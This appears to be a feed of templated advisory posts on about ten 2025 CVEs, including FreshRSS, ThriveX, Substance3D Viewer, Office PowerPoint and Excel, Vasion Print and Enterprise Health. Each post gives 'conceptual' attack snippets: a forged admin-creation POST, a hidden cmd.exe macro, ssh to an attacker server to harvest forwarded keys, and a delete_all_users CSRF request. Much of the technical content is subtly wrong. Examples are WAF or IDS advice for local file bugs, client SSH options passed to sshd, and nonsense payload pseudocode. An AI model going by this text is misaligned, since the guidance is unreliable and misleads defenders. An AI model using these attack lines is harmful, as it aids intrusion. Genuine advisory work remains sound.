Author: Ameeba

CVE-2025-54875: Critical Security Vulnerability in FreshRSS Affecting User Management
Overview

The vulnerability, identified as CVE-2025-54875, poses a serious threat to the security of any systems running versions 1.16.0 through 1.26.3 of the FreshRSS software. FreshRSS is a free, self-hosted RSS aggregator popular among developers and tech enthusiasts. The vulnerability allows unprivileged attackers to create a new admin user when the registration feature is enabled. This can potentially lead to a system compromise or data leakage, thereby jeopardizing the security and integrity of the system and the data it holds. This vulnerability is particularly alarming due to its high severity score and the potential for severe impacts if exploited.

Vulnerability Summary

CVE ID: CVE-2025-54875
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential for data leakage

Affected Products

Product | Affected Versions

FreshRSS | 1.16.0 through 1.26.3

How the Exploit Works

The vulnerability lies in the use of a hidden field in the user management admin page of FreshRSS, specifically the “new_user_is_admin” field. An attacker can exploit this vulnerability by embedding a malicious payload in this hidden field while creating a new user. This allows the attacker to elevate the new user’s privileges to admin level without requiring any existing admin privileges. This can lead to unauthorized system access and potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited.
```
POST /user/create HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=attacker&password=pass123&new_user_is_admin=1
```
In this example, the “new_user_is_admin” field is set to 1, which the vulnerable versions of FreshRSS interpret as making the new user an administrator. The attacker, therefore, gains admin privileges and can perform any actions an administrator can, potentially leading to a system compromise or data leakage.

Mitigation Guidance

The best course of action to mitigate this vulnerability is to apply the vendor-supplied patch by upgrading to FreshRSS version 1.27.0, which has fixed this issue. For those who cannot immediately apply the patch, a temporary mitigation would be to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block potential exploit attempts. It is also recommended to disable user registration if it is not necessary for your application.
October 6, 2025
CVE-2025-54592: Session Hijacking Vulnerability in FreshRSS Versions 1.26.3 and Below
Overview

CVE-2025-54592 is a critical vulnerability discovered in FreshRSS versions 1.26.3 and below. FreshRSS is a popular self-hostable RSS aggregator used by many individuals and organizations to manage their RSS feeds. This vulnerability stems from a flaw in the session termination process, where the session cookie remains active and unchanged even after the user has logged out. This could potentially allow an attacker to hijack the session, leading to system compromise or data leakage.
The severity of this vulnerability is high, with a CVSS score of 9.8. The potential impact of this vulnerability, if exploited, is significant, which underscores the urgency of applying the necessary mitigation efforts.

Vulnerability Summary

CVE ID: CVE-2025-54592
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

FreshRSS | 1.26.3 and below

How the Exploit Works

The exploit works by taking advantage of the active session cookie that remains unchanged even after a user logs out of FreshRSS. An attacker could intercept this cookie and reuse it to initiate a new session. This could lead to session hijacking and session fixation vulnerabilities.

Conceptual Example Code

The conceptual example below demonstrates how an attacker might intercept and reuse the session cookie:
```
GET /rss/feeds HTTP/1.1
Host: target.example.com
Cookie: session_id=unchanged_cookie
```
In this example, the attacker uses the `GET` method to request the `/rss/feeds` endpoint from `target.example.com`. The `Cookie` header contains the unchanged session cookie (`session_id=unchanged_cookie`) that the attacker intercepted after the user logged out.

Mitigation Guidance

To mitigate this vulnerability, users are advised to upgrade to FreshRSS version 1.27.0 or above which contains a fix for this issue. In the interim, users can also use Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures. As a best practice, users are also recommended to always ensure that their systems are updated with the latest security patches and updates to avoid such vulnerabilities.
October 6, 2025
CVE-2025-57266: Critical Information Disclosure Vulnerability in ThriveX Blogging Framework
Overview

CVE-2025-57266 is a high-severity vulnerability that exists in the ThriveX Blogging Framework versions 2.5.9 through 3.1.3. This vulnerability allows unauthenticated attackers to gain access to sensitive information, including API Keys, through the /api/assistant/list endpoint. Given the widespread use of the ThriveX Blogging Framework, this vulnerability presents a substantial risk to many online platforms, potentially leading to system compromise or severe data leakage.

Vulnerability Summary

CVE ID: CVE-2025-57266
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or potential data leakage

Affected Products

Product | Affected Versions

ThriveX Blogging Framework | 2.5.9 – 3.1.3

How the Exploit Works

The vulnerability resides in the ‘AssistantController.java’ file of the ThriveX Blogging Framework. The /api/assistant/list endpoint, which is supposed to be accessible only by authenticated users, is incorrectly configured and therefore accessible without any authentication. As such, an attacker can send a simple HTTP GET request to this endpoint and retrieve sensitive information, such as API keys, that can then be used for further attacks or unauthorized access.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability. The example illustrates a simple HTTP GET request to the vulnerable endpoint:
```
GET /api/assistant/list HTTP/1.1
Host: target.example.com
```
Upon a successful GET request, the server would respond with sensitive information, including API keys, which should not be accessible without proper authentication.

Mitigation Guidance

The most effective way to mitigate this vulnerability is by applying the vendor-supplied patch. For users unable to apply the patch immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block unauthorized requests to the /api/assistant/list endpoint can serve as a temporary mitigation. Additionally, regular auditing of system logs for any suspicious activity can also help in early detection and prevention of potential exploitation.
October 5, 2025
CVE-2025-49569: Out-of-Bounds Write Vulnerability in Substance3D – Viewer Potentially Leading to Arbitrary Code Execution
Overview

The cybersecurity community needs to be aware of a significant vulnerability that has been identified in Substance3D – Viewer versions 0.25 and earlier. This vulnerability, designated as CVE-2025-49569, exposes users to potential system compromise and data leakage, with an associated CVSS Severity Score of 7.8. Given the severity of this issue, it is crucial to understand the nature of this vulnerability, its potential impact, and how it can be mitigated.

Vulnerability Summary

CVE ID: CVE-2025-49569
Severity: High – 7.8 (CVSS score)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Arbitrary code execution, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

Substance3D – Viewer | 0.25 and earlier

How the Exploit Works

The exploit takes advantage of an out-of-bounds write vulnerability in Substance3D – Viewer. An attacker can craft a malicious file that when opened by the victim, would trigger the vulnerability. The vulnerability then allows the attacker to write data outside the expected boundaries of allocated memory. This unanticipated behavior can lead to the execution of arbitrary code in the context of the current user. Consequently, the attacker can gain unauthorized access or control of the system, leading to potential system compromise and data leakage.

Conceptual Example Code

Below is a conceptual example illustrating how the vulnerability might be exploited. The malicious payload is embedded in a file that triggers the out-of-bounds write when opened.
```
malicious_file.s3d:
{
"header": "standard S3D header",
"data": "valid data",
"malicious_payload": "code triggering out-of-bounds write"
}
```
After the victim opens this file using Substance3D – Viewer, the malicious payload is executed, resulting in arbitrary code execution in the context of the current user.

Mitigation Guidance

Substance3D – Viewer users are strongly advised to apply the vendor-supplied patch as soon as possible to mitigate this vulnerability. In the absence of the patch, users can also utilize Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation measures to detect and block any attempts to exploit this vulnerability. As always, users are urged to avoid opening files from untrusted sources, which is the primary attack vector for this vulnerability.
October 5, 2025
CVE-2025-49560: Heap-based Buffer Overflow Vulnerability in Substance3D – Viewer
Overview

The cybersecurity landscape is ever-evolving, and vulnerabilities continue to emerge. The latest in this series is the CVE-2025-49560, affecting Substance3D – Viewer versions 0.25 and earlier. This vulnerability is a Heap-based Buffer Overflow that could potentially result in arbitrary code execution in the context of the current user.
This vulnerability is critical as it exposes users to potential system compromise and data leakage, posing significant risks to personal and corporate security. The exploitation of this issue requires user interaction, requiring victims to open a malicious file. As such, it is imperative that users and system administrators understand this vulnerability and apply necessary mitigations.

Vulnerability Summary

CVE ID: CVE-2025-49560
Severity: High (CVSS score: 7.8)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Substance3D – Viewer | versions 0.25 and earlier

How the Exploit Works

Heap-based Buffer Overflow vulnerabilities typically occur when an application writes more data to a block of allocated memory (heap) than it was intended to hold. In the case of CVE-2025-49560, when a user opens a malicious file with Substance3D – Viewer, it triggers an overflow of the buffer, corrupting the heap data structure.
The corrupted heap can then be manipulated by the attacker to execute arbitrary code. This code runs in the context of the current user, which means if the user has administrative privileges, the attacker could potentially take full control of the system.

Conceptual Example Code

The following pseudocode gives a conceptual idea of how the vulnerability might be exploited. Here, the “malicious_file” represents a file crafted in such a way to trigger the buffer overflow.
```
# Open the malicious file with Substance3D - Viewer
substance3d_viewer.open("malicious_file")
# The malicious file triggers a buffer overflow, corrupting the heap
# The corrupted heap allows the attacker to execute arbitrary code
execute_arbitrary_code()
```
It is important to note that this is a conceptual example and actual exploit code may vary greatly. Remember, the best defense against this and similar vulnerabilities is to keep your systems and applications updated, apply vendor-provided patches promptly, and use security tools such as a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures.
October 5, 2025
CVE-2025-53761: Use-after-free Vulnerability in Microsoft Office PowerPoint
Overview

The cybersecurity landscape is constantly evolving, and Microsoft Office PowerPoint has recently fallen victim to a significant vulnerability. Identified as CVE-2025-53761, this vulnerability has the potential to allow an unauthorized attacker to execute code locally, which could lead to serious system compromise or data leakage. This vulnerability affects users worldwide who use Microsoft Office PowerPoint, making it a critical issue that needs immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-53761
Severity: High (7.8 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Microsoft Office PowerPoint | All versions prior to patch

How the Exploit Works

The CVE-2025-53761 vulnerability in Microsoft Office PowerPoint is a use-after-free vulnerability. It occurs when a user opens a maliciously crafted PowerPoint document. The attacker, having crafted a PowerPoint document that triggers a use-after-free condition, leverages this state to execute arbitrary code in the context of the current user. The use-after-free condition occurs when PowerPoint mishandles objects in memory, allowing an attacker to execute arbitrary code.

Conceptual Example Code

The below pseudocode provides a conceptual illustration of how an attacker might exploit the CVE-2025-53761 vulnerability:
```
def exploit_CVE_2025_53761():
# Create a malicious PowerPoint document
ppt = create_malicious_ppt()
# This document contains code that triggers a use-after-free condition
# The code in the document is executed in the context of the current user
code = '''
object = create_object()
delete_object(object)
use_object(object)  # Use-after-free vulnerability triggered here
'''
# Embed the code in the PowerPoint document
embed_code_in_ppt(ppt, code)
# Send the malicious PowerPoint document to the target
send_ppt_to_target(ppt)
```
Please note that this pseudocode is conceptual and is provided to help understand how the vulnerability might be exploited. Actual exploitation would require specific knowledge of the PowerPoint file structure and the specific use-after-free condition.

Recommended Mitigation

Users are strongly encouraged to apply the vendor patch as soon as possible. In the meantime, as a temporary mitigation strategy, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and prevent potential exploitation attempts. It’s also recommended to avoid opening PowerPoint documents from untrusted sources.
October 5, 2025
CVE-2025-53759: Microsoft Office Excel Uninitialized Resource Execution Vulnerability
Overview

CVE-2025-53759 is a serious vulnerability that affects Microsoft Office Excel, a widely-used spreadsheet software. This flaw allows unauthorized attackers to execute code locally on the victim’s system, leading to potential system compromise or data leakage. Given the widespread use of Excel in organizations across various sectors, this vulnerability poses a significant risk. Its successful exploitation could result in severe business disruption or even financial loss.

Vulnerability Summary

CVE ID: CVE-2025-53759
Severity: High (7.8 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Unauthorized code execution, potential system compromise, or data leakage

Affected Products

Product | Affected Versions

Microsoft Office Excel | All versions before the patch

How the Exploit Works

The exploit works by taking advantage of an uninitialized resource within Microsoft Office Excel. An attacker crafts a malicious Excel file containing specially designed code. Once the victim opens this file, the code is executed locally on the victim’s machine due to the software’s failure to properly initialize a resource. This allows the attacker to execute arbitrary code or commands in the context of the current user. If the user holds administrative rights, the attacker could take control of the affected system.

Conceptual Example Code

Below is a conceptual example of how an attacker might craft a malicious payload within an Excel file:
```
Sub Workbook_Open()
Shell("cmd.exe /c [malicious_command]", vbHide)
End Sub
```
In this example, the `Workbook_Open` subroutine runs when the Excel file is opened, executing the malicious command in the Windows command line via the `Shell` function.

Mitigation Guidance

Users are strongly recommended to immediately apply the vendor patch provided by Microsoft to remediate this vulnerability. As a temporary mitigation, users can also employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and potentially block attempts to exploit this vulnerability. However, these measures should not replace the need to apply the vendor patch, which provides a complete fix.
October 5, 2025
CVE-2025-34207: Critical SSH Configuration Vulnerability in Vasion Print Virtual Appliance
Overview

The vulnerability CVE-2025-34207 is a critical flaw existing in the SSH configuration of Vasion Print’s Virtual Appliance Host and Application. It affects versions of the host prior to 22.0.1049 and application versions prior to 20.0.2786. This vulnerability is crucial because it allows an attacker to compromise a container, capture forwarded private keys, and use these keys to move unrestricted across the environment. Consequently, this can lead to severe data leakage or potential system compromise.

Vulnerability Summary

CVE ID: CVE-2025-34207
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Vasion Print Virtual Appliance Host | Prior to 22.0.1049
Vasion Print Application | Prior to 20.0.2786

How the Exploit Works

The vulnerability lies in the insecure configuration of the SSH client within Docker instances. The settings disable the verification of the remote host’s SSH key and automatically forward the developer’s SSH agent to any host that matches the configured wildcard patterns. If an attacker can reach a single compromised container, they can cause the container to connect to a malicious SSH server, capture the forwarded private keys, and use those keys for unrestricted lateral movement across the environment.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability. In this scenario, the attacker convinces the vulnerable Docker instance to connect to their malicious SSH server:
```
# Attacker's malicious SSH server
$ sshd -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -o "ForwardAgent yes"
# In the compromised Docker instance
$ ssh attacker@malicious-server
```
In the above example, the attacker’s malicious SSH server is set up with the same insecure settings as the vulnerable Docker instances. When the compromised Docker instance connects to the attacker’s server, it forwards the private keys, which the attacker can then use for unrestricted lateral movement across the environment.
October 5, 2025
CVE-2025-53741: Heap-Based Buffer Overflow Vulnerability in Microsoft Office Excel
Overview

The cybersecurity world is witnessing a new vulnerability that affects Microsoft Office Excel. Identified as CVE-2025-53741, this vulnerability is a heap-based buffer overflow that allows an unauthorized attacker to execute code locally. Given the wide usage of Excel across organizations worldwide, this vulnerability poses a significant risk. Buffer overflow vulnerabilities are not new, but their impact can be severe due to the potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53741
Severity: High (CVSS 7.8)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Microsoft Office Excel | All versions prior to the latest patch

How the Exploit Works

A heap-based buffer overflow is a type of vulnerability which occurs when data written to a buffer exceeds its capacity, and overflows onto the adjacent memory, causing it to overwrite other data. In the case of CVE-2025-53741, an attacker can exploit Excel’s failure to properly allocate and monitor the size of objects or data in memory. By sending a specially crafted file to the victim and tricking them into opening it with Excel, the attacker can execute arbitrary code in the context of the current user.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. This is not actual code but an illustrative scenario to show how an attacker might take advantage of the buffer overflow:
```
# An attacker creates a specially crafted Excel file with oversized cells
malicious_file = create_excel_file_with_oversized_cells()
# This file is then sent to the victim, who opens it with Excel
open_excel_file(malicious_file)
# The oversized cells cause a buffer overflow, allowing the attacker to execute code
execute_code(malicious_file)
```
Mitigation Guidance

It is strongly recommended that users and administrators apply the vendor patch as soon as possible. In the absence of a patch, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. However, these measures can only detect and possibly block known exploits and may not protect against new or unknown ones. Therefore, applying the vendor patch remains the most effective solution to this vulnerability.
October 5, 2025
CVE-2025-35030: Critical Cross-Site Request Forgery Vulnerability in Medical Informatics Engineering Enterprise Health
Overview

In this post, we will discuss a high-severity vulnerability (CVE-2025-35030) discovered in Medical Informatics Engineering Enterprise Health. This vulnerability allows an unauthenticated attacker to perform actions on behalf of an administrative user through a crafted URL. This type of vulnerability, known as a Cross-Site Request Forgery (CSRF), can lead to dangerous consequences such as potential system compromise or data leakage. Due to the critical nature of this issue, all users of the affected software are strongly advised to apply the vendor patch immediately.

Vulnerability Summary

CVE ID: CVE-2025-35030
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

Medical Informatics Engineering Enterprise Health | Prior to 2025-04-08

How the Exploit Works

The vulnerability exploits the CSRF weakness in the software, allowing an attacker to trick an administrative user into clicking a malicious URL. Once the URL is clicked, the attacker can execute actions on behalf of the administrative user without their consent or knowledge. Because the attacker does not need to be authenticated, they can perform this attack from any location, increasing the potential risk and reach of this vulnerability.

Conceptual Example Code

Below is a conceptual example of how an HTTP request exploiting this vulnerability might look:
```
GET /admin?csrf_token=abc123&action=delete_all_users HTTP/1.1
Host: vulnerable-enterprise-health.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Referer: http://attacker.com/
```
In this example, the attacker tricks the admin into clicking a link (the Referer URL) that points to the vulnerable site’s admin panel, passing in the admin’s CSRF token and a potentially harmful action (“delete_all_users”).

Mitigation

To mitigate this vulnerability, users are advised to immediately apply the vendor patch released on 2025-04-08. If unable to implement the patch promptly, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation measures. However, these are not long-term solutions and the patch should be applied as soon as possible to fully secure your systems.
October 5, 2025